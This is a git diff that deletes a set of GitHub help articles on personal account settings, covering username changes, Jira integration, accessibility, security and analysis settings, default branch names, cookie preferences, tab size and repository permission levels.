-> If you sign into {% data variables.location.product_location %} with LDAP credentials or single sign-on (SSO), only your local administrator can change your username. For more information about authentication methods for {% data variables.product.prodname_ghe_server %}, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise).
-
-{% endif %}
-
-{% endif %}
-
-## About username changes
-
-You can change your username to another username that is not currently in use.{% ifversion fpt or ghec %} If the username you want is not available, consider other names or unique variations. Using a number, hyphen, or an alternative spelling might help you find a similar username that's still available.
-
-If you hold a trademark for the username, you can find more information about making a trademark complaint on our [Trademark Policy](/free-pro-team@latest/site-policy/content-removal-policies/github-trademark-policy) page.
-
-If you do not hold a trademark for the name, you can choose another username or keep your current username. {% data variables.contact.github_support %} cannot release the unavailable username for you. For more information, see [Changing your username](#changing-your-username).{% endif %}
-
-After changing your username, your old username becomes available for anyone else to claim. Most references to your repositories under the old username automatically change to the new username. However, some links to your profile won't automatically redirect.
-
-{% data variables.product.github %} cannot set up redirects for:
-* [@mentions](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams) using your old username
-* Links to [gists](/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists) that include your old username
-
-{% ifversion fpt or ghec %}
-
-If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you cannot make changes to your username. {% data reusables.enterprise-accounts.emu-more-info-account %}
-
-{% endif %}
-
-{% ifversion fpt or ghec %}
-
-{% data reusables.accounts.rename-account-repo-namespace-retirement %} If you try to create a repository using a retired owner name and repository name combination, you will see the error: "The repository `` has been retired and cannot be reused."
-
-{% endif %}
-
-{% data reusables.package_registry.rename-account-namespace-retirement %}
-
-## Repository references
-
-After you change your username, {% data variables.product.github %} will automatically redirect references to your repositories.
-* Web links to your existing repositories will continue to work. This can take a few minutes to complete after you make the change.
-* Command line pushes from your local repository clones to the old remote tracking URLs will continue to work.
-
-If the new owner of your old username creates a repository with the same name as your repository, that will override the redirect entry and your redirect will stop working. Because of this possibility, we recommend you update all existing remote repository URLs after changing your username. For more information, see [AUTOTITLE](/get-started/git-basics/managing-remote-repositories).
-
-## Links to your previous profile page
-
-After changing your username, links to your previous profile page, such as `https://{% data variables.product.product_url %}/previoususername`, will return a 404 error. We recommend updating any links to your profile from elsewhere{% ifversion fpt or ghec %}, such as your LinkedIn or Twitter profile{% endif %}.
-
-## Accounts logged in on GitHub Mobile
-
-Accounts logged in on the {% data variables.product.prodname_mobile %} app may continue to display your original username until you log out. To ensure your updated username is displayed, we recommend you sign out and back in to your account on each mobile device.
-
-## Your Git commits
-
-If your Git commits are associated with another email address you've added to your {% data variables.product.prodname_dotcom %} account, they'll continue to be attributed to you and appear in your contributions graph after you've changed your username. For more information on setting your email address, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address) and [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account).
-
-{% ifversion fpt or ghec %}If you've been using a {% data variables.product.prodname_dotcom %}-provided private commit email address, whether or not your commit history will be retained after an account rename depends on the format of the email address. Git commits that are associated with your {% data variables.product.github %}-provided `noreply` email address won't be attributed to your new username and won't appear in your contributions graph, unless your `noreply` email address is in the form of `ID+USERNAME@users.noreply.github.com`. Older versions of the `noreply` email address that do not contain a numeric ID will not be associated with your {% data variables.product.prodname_dotcom %} account after changing your username.{% endif %}
-
-> [!WARNING]
-> * After a username change, verified commits signed using the previous {% data variables.product.github %}-provided `noreply` email address will lose their "Verified" status.
-> * When verifying a signature, {% data variables.product.github %} checks that the email address of the committer or tagger exactly matches one of the email addresses associated with the GPG key's identities. Additionally, {% data variables.product.github %} confirms that the email address is verified and linked to the user's account. This ensures that the key belongs to you and that you created the commit or tag. Because the username of the `noreply` email address changes, these commits can no longer be verified.
-
-## Your gists
-
-After changing your username, the URLs to any public or secret gists will also change and previous links to these will return a 404 error. We recommend updating the links to these gists anywhere you may have shared them.
-
-## CODEOWNERS files
-
-After changing your username, CODEOWNERS files that include your old username will need to be manually updated. When you view the CODEOWNERS files on {% data variables.product.prodname_dotcom %}, an error message is displayed if the file contains any unknown users, or users without write access. We recommend updating all relevant CODEOWNERS files with your new username. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners).
-
-## Changing your username
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.account_settings %}
-1. In the "Change username" section, click **Change username**.{% ifversion fpt or ghec %}
-1. Read the warnings about changing your username. If you still want to change your username, click **I understand, let's change my username**.
-1. Type a new username.
-1. If the username you've chosen is available, click **Change my username**. If the username you've chosen is unavailable, you can try a different username or one of the suggestions you see.
-{% endif %}
-
-## Further reading
-
-* [AUTOTITLE](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user){% ifversion fpt or ghec %}
-* [AUTOTITLE](/free-pro-team@latest/site-policy/other-site-policies/github-username-policy){% endif %}
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/index.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/index.md
deleted file mode 100644
index 253f00b1d8d8..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/index.md
+++ /dev/null
@@ -1,31 +0,0 @@
----
-title: Managing user account settings
-intro: 'You can manage settings for your personal account, including your theme, username, default branch, accessibility, and security settings.'
-redirect_from:
- - /categories/29/articles
- - /categories/user-accounts
- - /articles/managing-user-account-settings
- - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-children:
- - /about-your-personal-dashboard
- - /managing-your-tab-size-rendering-preference
- - /changing-your-github-username
- - /permission-levels-for-a-personal-account-repository
- - /permission-levels-for-a-project-board-owned-by-a-personal-account
- - /managing-accessibility-settings
- - /managing-the-default-branch-name-for-your-repositories
- - /managing-security-and-analysis-settings-for-your-personal-account
- - /managing-access-to-your-personal-accounts-project-boards
- - /managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages
- - /integrating-jira-with-your-personal-projects
- - /about-available-for-hire
-shortTitle: Personal account settings
----
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/integrating-jira-with-your-personal-projects.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/integrating-jira-with-your-personal-projects.md
deleted file mode 100644
index 1e68f831ee73..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/integrating-jira-with-your-personal-projects.md
+++ /dev/null
@@ -1,28 +0,0 @@
----
-title: Integrating Jira with your personal projects
-intro: 'You can integrate Jira Cloud with your personal account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues.'
-redirect_from:
- - /articles/integrating-jira-with-your-personal-projects
- - /github/setting-up-and-managing-your-github-user-account/integrating-jira-with-your-personal-projects
- - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/integrating-jira-with-your-personal-projects
-versions:
- ghes: '*'
-shortTitle: Integrate Jira with projects
----
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.developer_settings %}
-{% data reusables.user-settings.oauth_apps %}
-1. Click **Register a new application**.
-1. Under **Application name**, type "Jira".
-1. Under **Homepage URL**, type the full URL to your Jira instance.
-1. Under **Authorization callback URL**, type the full URL to your Jira instance.
-1. Click **Register application**.
-1. Under **Developer applications**, note the "Client ID" and "Client Secret" values.
-{% data reusables.user-settings.jira_help_docs %}
-
-## Further reading
-
-* [AUTOTITLE](/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board)
-* [Connect Jira Cloud to GitHub](https://confluence.atlassian.com/adminjiracloud/connect-jira-cloud-to-github-814188429.html) in the Atlassian documentation
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-access-to-your-personal-accounts-project-boards.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-access-to-your-personal-accounts-project-boards.md
deleted file mode 100644
index e5298ecb2e7e..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-access-to-your-personal-accounts-project-boards.md
+++ /dev/null
@@ -1,36 +0,0 @@
----
-title: 'Managing access to your personal account''s {% data variables.projects.projects_v1_boards %}'
-intro: 'As a {% data variables.projects.projects_v1_board %} owner, you can add or remove a collaborator and customize their permissions to a {% data variables.projects.projects_v1_board %}.'
-redirect_from:
- - /articles/managing-project-boards-in-your-repository-or-organization
- - /articles/managing-access-to-your-user-account-s-project-boards
- - /articles/managing-access-to-your-user-accounts-project-boards
- - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-user-accounts-project-boards
- - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-access-to-your-personal-accounts-project-boards
-versions:
- feature: projects-v1
-topics:
- - Accounts
-shortTitle: 'Manage {% data variables.projects.projects_v1_boards %} access'
-allowTitleToDifferFromFilename: true
----
-A collaborator is a person who has permissions to a {% data variables.projects.projects_v1_board %} you own. A collaborator's permissions will default to read access. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account).
-
-## Inviting collaborators to a user-owned {% data variables.projects.projects_v1_board %}
-
-1. Navigate to the {% data variables.projects.projects_v1_board %} where you want to add an collaborator.
-{% data reusables.project-management.click-menu %}
-{% data reusables.project-management.access-collaboration-settings %}
-{% data reusables.project-management.collaborator-option %}
-1. Under "Search by username, full name or email address", type the collaborator's name, username, or {% data variables.product.prodname_dotcom %} email.
-{% data reusables.project-management.add-collaborator %}
-1. The new collaborator has read permissions by default. Optionally, next to the new collaborator's name, use the drop-down menu and choose a different permission level.
-
-## Removing a collaborator from a user-owned {% data variables.projects.projects_v1_board %}
-
-{% data reusables.project-management.click-menu %}
-{% data reusables.project-management.access-collaboration-settings %}
-{% data reusables.project-management.collaborator-option %}
-{% data reusables.project-management.remove-collaborator %}
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-accessibility-settings.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-accessibility-settings.md
deleted file mode 100644
index 3068f6a8b35c..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-accessibility-settings.md
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Managing accessibility settings
-shortTitle: Manage accessibility settings
-intro: '{% data variables.product.github %}''s user interface can adapt to your vision, hearing, motor, cognitive, or learning needs.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-redirect_from:
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-accessibility-settings
-type: how_to
----
-
-## About accessibility settings
-
-To create an experience on {% data variables.product.github %} that fits your needs, you can customize the user interface. Accessibility settings can be essential for people with disabilities, but can be useful to anyone. For example, customization of keyboard shortcuts is essential to people who navigate using voice control, but can be useful to anyone when a keyboard shortcut for {% data variables.product.github %} clashes with another application shortcut.
-
-You can decide whether you want to use some or all keyboard shortcuts, and control the display of animated images and how links are displayed.
-
-This article will help you customize your experience on the {% data variables.product.github %} website as a whole. For information on using specific {% data variables.product.github %} products with screen readers and other assistive technologies, see the [{% data variables.product.github %} Accessibility Documentation](https://accessibility.github.com/documentation).
-
-## Managing the appearance of links
-
-You can control whether links in text blocks are underlined and therefore more distinguishable.
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.accessibility_settings %}
-1. Under "Content", manage settings for link appearance.
-
- * To enable underlines on links in text blocks, under "Link underlines", select **Show link underlines**.
- * To disable underlines on links in text blocks, under "Link underlines", select **Hide link underlines**.
- * To disable hovercards for previewing link content, deselect **Hovercards**.
-
-## Managing keyboard shortcuts
-
-You can perform actions across the {% data variables.product.github %} website by using your keyboard alone. Keyboard shortcuts can be useful to save time, but can be activated accidentally or interfere with assistive technology.
-
-By default, all keyboard shortcuts are enabled. For more information, see [AUTOTITLE](/get-started/accessibility/keyboard-shortcuts).
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.accessibility_settings %}
-1. Under "Keyboard shortcuts", manage settings for your keyboard shortcuts.
-
- * To disable shortcut keys that don't use modifiers keys like Control or Command, under "General", deselect **Character keys**.
- * If you disable character keys, you may still be able to trigger shortcuts for your web browser, and you can still trigger shortcuts that use a modifier key.
- {%- ifversion command-palette %}
- * To customize the keyboard shortcuts for triggering the command palette, under "Command palette", use the drop-down menus to choose a keyboard shortcut. For more information, see [AUTOTITLE](/get-started/accessibility/github-command-palette).
- {%- endif %}
-
-## Managing motion
-
-You can control how {% data variables.product.github %} displays animated _.gif_ images.
-
-By default, {% data variables.product.github %} syncs with your system-level preference for reduced motion. For more information, see the documentation or settings for your operating system.
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.accessibility_settings %}
-1. Under "Motion", manage settings for motion.
-
- * To control how {% data variables.product.github %} displays animated images, under "Autoplay animated images", select **Sync with system**, **Enabled**, or **Disabled**.
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-security-and-analysis-settings-for-your-personal-account.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-security-and-analysis-settings-for-your-personal-account.md
deleted file mode 100644
index 060b620b01e6..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-security-and-analysis-settings-for-your-personal-account.md
+++ /dev/null
@@ -1,54 +0,0 @@
----
-title: Managing security and analysis settings for your personal account
-intro: 'You can control features that secure and analyze the code in your projects on {% data variables.product.prodname_dotcom %}.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-topics:
- - Accounts
-redirect_from:
- - /github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account
- - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account
-shortTitle: Manage security & analysis
----
-## About management of security and analysis settings
-
-{% data variables.product.prodname_dotcom %} can help secure your repositories. This topic tells you how you can manage the security and analysis features for all your existing or new repositories.
-
-You can still manage the security and analysis features for individual repositories. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository).
-
-You can also review the security log for all activity on your personal account. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log).
-
-{% data reusables.security.some-security-and-analysis-features-are-enabled-by-default %}
-
-{% data reusables.security.security-and-analysis-features-enable-read-only %}
-
-For an overview of repository-level security, see [AUTOTITLE](/code-security/getting-started/securing-your-repository).
-
-## Enabling or disabling features for existing repositories
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.security-analysis %}
-1. Under "{% data variables.product.UI_advanced_security %}", to the right of the feature, click **Disable all** or **Enable all**.
-1. Optionally, enable the feature by default for new repositories that you own.{% ifversion not ghes %}
-
- {% endif %}
-
-1. Click **Disable FEATURE** or **Enable FEATURE** to disable or enable the feature for all the repositories you own.
-
-{% data reusables.security.displayed-information %}
-
-## Enabling or disabling features for new repositories
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.security-analysis %}
-1. Under "{% data variables.product.UI_advanced_security %}", to the right of the feature, enable or disable the feature by default for new repositories that you own.
-
-## Further reading
-
-* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)
-* [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)
-* [AUTOTITLE](/code-security/dependabot/dependabot-version-updates)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md
deleted file mode 100644
index bf382a96dd1e..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md
+++ /dev/null
@@ -1,33 +0,0 @@
----
-title: Managing the default branch name for your repositories
-intro: 'You can set the default branch name for new repositories that you create on {% data variables.product.github %}.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-redirect_from:
- - /github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories
- - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories
-shortTitle: Manage default branch name
----
-## About management of the default branch name
-
-When you create a new repository on {% data variables.product.github %}, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.github %} uses for the default branch in new repositories you create. For more information about the default branch, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch).
-
-{% data reusables.branches.change-default-branch %}
-
-## Setting the default branch name
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.repo-tab %}
-1. Under "Repository default branch", click **Change default branch name now**.
-1. In the text field, type the default name that you would like to use for new branches.
-1. Click **Update**.
-
-## Further reading
-
-* [AUTOTITLE](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages.md
deleted file mode 100644
index a0c8eb10c64a..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages.md
+++ /dev/null
@@ -1,32 +0,0 @@
----
-title: Managing your cookie preferences for GitHub's enterprise marketing pages
-intro: 'You can control how {% data variables.product.company_short %} uses information from non-essential tracking cookies for enterprise marketing pages.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: Manage cookie preferences
-redirect_from:
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages
----
-
-## About cookie preferences on enterprise marketing pages
-
-{% data variables.product.company_short %} may use non-essential cookies on some enterprise marketing pages. You can customize how these cookies behave. For more information about how {% data variables.product.company_short %} uses cookies, see [AUTOTITLE](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement).
-
-## Changing your cookie preferences
-
-You can customize how non-essential cookies behave on any {% data variables.product.company_short %} enterprise marketing page.
-
-1. Navigate to the {% data variables.product.company_short %} enterprise marketing page where you'd like to change your cookie preferences. For example, navigate to [{% data variables.product.company_short %} Resources](https://resources.github.com/).
-1. Scroll to the bottom of the page, then click **Manage Cookies**.
-
- 
-
-1. Under "Manage cookie preferences," to accept or reject each non-essential cookie, click **Accept** or **Reject**.
-
- 
-
-1. Click **Save changes**.
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-your-tab-size-rendering-preference.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-your-tab-size-rendering-preference.md
deleted file mode 100644
index 57454c0130ba..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-your-tab-size-rendering-preference.md
+++ /dev/null
@@ -1,20 +0,0 @@
----
-title: Managing your tab size rendering preference
-intro: You can manage the number of spaces a tab is equal to for your personal account.
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: Managing your tab size
-redirect_from:
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-tab-size-rendering-preference
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-tab-size-rendering-preference
----
-
-If you feel that tabbed indentation in code rendered on {% data variables.product.github %} takes up too much, or too little space, you can change this in your settings.
-
-{% data reusables.user-settings.access_settings %}
-1. In the left sidebar, click **{% octicon "paintbrush" aria-hidden="true" %} Appearance**.
-1. Scroll down to "Tab size preference" and use the dropdown menu to choose your preference.
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-personal-account-repository.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-personal-account-repository.md
deleted file mode 100644
index a72e45960c6c..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-personal-account-repository.md
+++ /dev/null
@@ -1,99 +0,0 @@
----
-title: Permission levels for a personal account repository
-intro: 'A repository owned by a personal account has two permission levels: the repository owner and collaborators.'
-redirect_from:
- - /articles/permission-levels-for-a-user-account-repository
- - /github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository
- - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: Repository permissions
----
-## About permissions levels for a personal account repository
-
-Repositories owned by personal accounts have one owner. Ownership permissions can't be shared with another personal account.
-
-You can also {% ifversion fpt or ghec %}invite{% else %}add{% endif %} users to your repository as collaborators. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository).
-
-> [!TIP]
-> If you require more granular access to a repository owned by your personal account, consider transferring the repository to an organization. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/transferring-a-repository#transferring-a-repository-owned-by-your-personal-account).
-
-## Owner access for a repository owned by a personal account
-
-The repository owner has full control of the repository. In addition to the actions that any collaborator can perform, the repository owner can perform the following actions.
-
-| Action | More information |
-| :- | :- |
-| {% ifversion fpt or ghec %}Invite collaborators{% else %}Add collaborators{% endif %} | [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository) |
-| Change the visibility of the repository | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility) |
-| {% ifversion fpt or ghec %} |
-| Limit interactions with the repository | [AUTOTITLE](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository) |
-| {% endif %} |
-| Rename a branch, including the default branch | [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch) |
-| Merge a pull request on a protected branch, even if there are no approving reviews | [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches) |
-| Delete the repository | [AUTOTITLE](/repositories/creating-and-managing-repositories/deleting-a-repository) |
-| Manage the repository's topics | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics) |
-| {% ifversion fpt or ghec %} |
-| Manage security and analysis settings for the repository | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository) |
-| {% endif %} |
-| {% ifversion fpt or ghec %} |
-| Enable the dependency graph for a private {% ifversion ghec %}or internal {% endif %}repository, or public fork | [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph) |
-| {% endif %} |
-| Delete and restore packages | [AUTOTITLE](/packages/learn-github-packages/deleting-and-restoring-a-package) |
-| Customize the repository's social media preview | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview) |
-| Create a template from the repository | [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-template-repository) |
-| Control access to {% data variables.product.prodname_dependabot_alerts %}| [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) |
-| {% ifversion fpt or ghec %} |
-| Dismiss {% data variables.product.prodname_dependabot_alerts %} in the repository | [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts) |
-| Manage data use for a private repository | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#enabling-or-disabling-security-and-analysis-features-for-private-repositories) |
-| {% endif %} |
-| Define code owners for the repository | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners) |
-| Archive the repository | [AUTOTITLE](/repositories/archiving-a-github-repository/archiving-repositories) |
-| {% ifversion fpt or ghec %} |
-| Create security advisories | [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories) |
-| Display a sponsor button | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository) |
-| {% endif %} |
-| Allow or disallow auto-merge for pull requests | [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository) |
-| Manage deploy keys | [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys) |
-| Manage webhooks | [AUTOTITLE](/webhooks/about-webhooks) |
-
-## Collaborator access for a repository owned by a personal account
-
-Collaborators on a personal repository can pull (read) the contents of the repository and push (write) changes to the repository.
-
-> [!NOTE]
-> In a private repository, repository owners can only grant write access to collaborators. Collaborators can't have read-only access to repositories owned by a personal account.
-
-Collaborators can also perform the following actions.
-
-| Action | More information |
-| :- | :- |
-| Fork the repository | [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) |
-| Rename a branch other than the default branch | [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch) |
-| Create, edit, and delete comments on commits, pull requests, and issues in the repository | - [AUTOTITLE](/issues/tracking-your-work-with-issues/about-issues)
- [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)
- [AUTOTITLE](/communities/moderating-comments-and-conversations/managing-disruptive-comments)
|
-| Create, assign, close, and re-open issues in the repository | [AUTOTITLE](/issues) |
-| Manage labels for issues and pull requests in the repository | [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels) |
-| Manage milestones for issues and pull requests in the repository | [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests) |
-| Mark an issue or pull request in the repository as a duplicate | [AUTOTITLE](/issues/tracking-your-work-with-issues/marking-issues-or-pull-requests-as-a-duplicate) |
-| Create, merge, and close pull requests in the repository | [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests) |
-| Enable and disable auto-merge for a pull request | [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)
-| Apply suggested changes to pull requests in the repository |[AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request) |
-| Create a pull request from a fork of the repository | [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork) |
-| Submit a review on a pull request that affects the mergeability of the pull request | [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) |
-| Create and edit a wiki for the repository | [AUTOTITLE](/communities/documenting-your-project-with-wikis/about-wikis) |
-| Create and edit releases for the repository | [AUTOTITLE](/repositories/releasing-projects-on-github/managing-releases-in-a-repository) |
-| Act as a code owner for the repository | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners) |
